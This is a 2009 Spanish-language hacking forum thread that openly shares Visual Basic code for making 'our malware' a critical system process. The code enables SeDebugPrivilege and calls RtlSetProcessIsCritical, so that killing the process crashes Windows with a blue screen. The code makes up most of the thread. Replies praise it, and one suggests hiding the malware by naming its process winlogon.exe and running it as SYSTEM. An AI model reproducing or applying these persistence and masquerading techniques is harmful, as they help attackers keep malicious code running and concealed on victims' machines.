Página 1 de 1

hacer nuestro malware un proceso critico (persistencia)

Publicado: 18 Feb 2009, 04:00
por Snopk
Este code hace uso de un API nativa de NTDLL.dll la cual setea nuestro proceso como un proceso critico del sistema al igual que winlogon o csrss, bueno el resultado de terminar nuestro proceso dara como resultado la BSOD (Blue Screen Of Death) de windows, espero les sea de utilidad, aplicandolo a nuestra especie viral haria que nuestro proceso no se pudiera terminar. casi interminable.

este code va en un modulo:

Código: Seleccionar todo

 
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long

Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
lpLUID As LUID) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long

Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
 
 
Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
 
Private Type LUID
    LowPart                     As Long
    HighPart                    As Long
End Type

Private Type LUID_AND_ATTRIBUTES
        pLuid                   As LUID
        Attributes              As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount              As Long
    Privileges(ANYSIZE_ARRAY)   As LUID_AND_ATTRIBUTES
End Type
 
Public Const SE_DEBUG_NAME      As String = "SeDebugPrivilege"

Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)
 
Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long

Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long
 
hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
    Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
    Exit Function
End If
With lpToken
    .PrivilegeCount = 1
    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    .Privileges(0).pLuid = lpLUID
End With
 
res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
    Exit Function
End If
ObtenerPrivilegios = res
End Function
y este en el form:

Código: Seleccionar todo

Private Sub Form_Load()
On Error Resume Next
ObtenerPrivilegios SE_DEBUG_NAME ' obtiene privilegios de Debugeo
Call RtlSetProcessIsCritical(0, 0, 1) ' setea nuestro proceso como Proceso Critico
End Sub
autor : XcryptOR

ta weno el code
saludos

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 18 Feb 2009, 19:41
por shark0
Se agradece bro

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 11 Mar 2009, 15:20
por leos_79
Muy bueno , interesante código.




/offtopic

Otra cosa y no quiero parecer molesto
pero Hacer, es como se escribe, tratemos de evitar las faltas.

saludos!

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 11 Mar 2009, 20:33
por m3m0_11
me se otra cosa mejor, posteare como hacerlo invisible, tu tienes un proceso de tu malware, te logueas como system, y pones nombre del proceso por ejemplo winlogon.exe, nadie sospecha, porque sale winlogon.exe SYSTEM, luego subo como hacerlo, ademas que sino me ekivoko no te dejaria matarlo xD y ademas nadie sospecha

salu2

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 13 Mar 2009, 22:19
por Snopk
m3m0_11 escribió:me se otra cosa mejor, posteare como hacerlo invisible, tu tienes un proceso de tu malware, te logueas como system, y pones nombre del proceso por ejemplo winlogon.exe, nadie sospecha, porque sale winlogon.exe SYSTEM, luego subo como hacerlo, ademas que sino me ekivoko no te dejaria matarlo xD y ademas nadie sospecha

salu2
espero con ansias el post..

saludos!

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 22 Mar 2009, 06:37
por figarito
Disculpen mi supina ignorancia; esto es BB?

Re: aser nuestro malware un proceso critico (persistencia)

Publicado: 22 Mar 2009, 12:04
por leos_79
ya es medio viejito eso de hacerlo invisible, y sin hooks
aca hay un post del año 2005 de elhacker.net

[Enlace externo eliminado para invitados]

creo q es lo q hablaba m3mo ,

saludos